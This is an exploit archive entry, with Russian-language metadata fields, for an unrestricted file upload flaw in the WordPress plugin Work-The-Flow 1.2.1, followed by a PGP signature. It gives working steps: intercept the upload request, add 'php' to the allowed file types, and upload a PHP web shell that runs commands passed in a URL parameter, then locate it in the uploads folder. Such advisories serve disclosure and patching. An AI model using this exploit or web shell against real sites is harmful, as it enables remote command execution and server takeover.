Exploit WordPress Plugin Work-The-Flow 1.2.1 - Arbitrary File Upload

[Exploiter]

EDB-ID

33003

Проверка EDB

1. Пройдено

Автор

NOPESLED

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

null

Дата публикации

2014-04-24

# Author: nopesled
# Date: 24/04/14
# Software: https://wordpress.org/plugins/work-the-flow-file-upload/
# Company: http://wtf-fu.com/
# Version: 1.2.1
# Tested on: Windows 7
# Vulnerability: Unrestricted File Upload


Submit an image file via the wtf upload panel and intercept the POST request to /wp-admin/admin-ajax.php

By editing the data from the control 'accept_file_types', we can upload normally disallowed filetypes such as PHP.

Append '|php':

- ----------------------------123456789123456\r\n
Content-Disposition: form-data; name="accept_file_types"\r\n
\r\n
jpg|jpeg|mpg|mp3|png|gif|wav|ogg|php\r\n


Now change the extension in the data for 'filename' to '.php' and enter your desired code like so

- ----------------------------123456789123456\r\n
Content-Disposition: form-data; name="files[]"; filename="illegal.php"\r\n
Content-Type: application/octet-stream\r\n
\r\n
<?php\n
system($_GET[\'cmd\']);\n
?>\n
- ----------------------------123456789123456--\r\n

Submit this POST request and you will find your file in the directory:
/wp-content/uploads/public/wtf-fu_files/default/

It's not required to set the control 'deny_public_uploads' to true, because it still gets uploaded anyway regardless if it's enabled or not.

###################################
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Signed.
-----BEGIN PGP SIGNATURE-----
Version: Keybase OpenPGP v0.1.11
Comment: https://keybase.io/crypto

wsBcBAABCgAGBQJTWQpLAAoJEOB0UMODnV4U7QIIAIKXDQVK8fIXY0BSO4ZrHq8L
2a51JCVmpwBzrHVp87FCpYHcMXyuCXWi5joEbiJFVi5ojHTSii5ZwvBVJwvyoKcy
jexj2IvMoC30zrgSdTu9/lMd1tYGYQCSlMubFvzE0edmDCo7fH2gF8Zvfw4Lj4ng
KJOpB9HsvDUJVNlbDMl+MbGAW32m6BqG4ttdjE1bs1suDxb/JrS7okuHu1Qmpe0+
Xp50x4wUVrZSeqT5VnWDWjox2BnSGEcAKbkjFeRDBpgJyeWJGH20jXb6m4sYNLDT
gf9ml9oM5yncivMN2dJU+hp3Xyfp6rEute9jA+lcEMwZsyjlwAVFhszV4qh7X+o=
=5nDI
-----END PGP SIGNATURE-----
###################################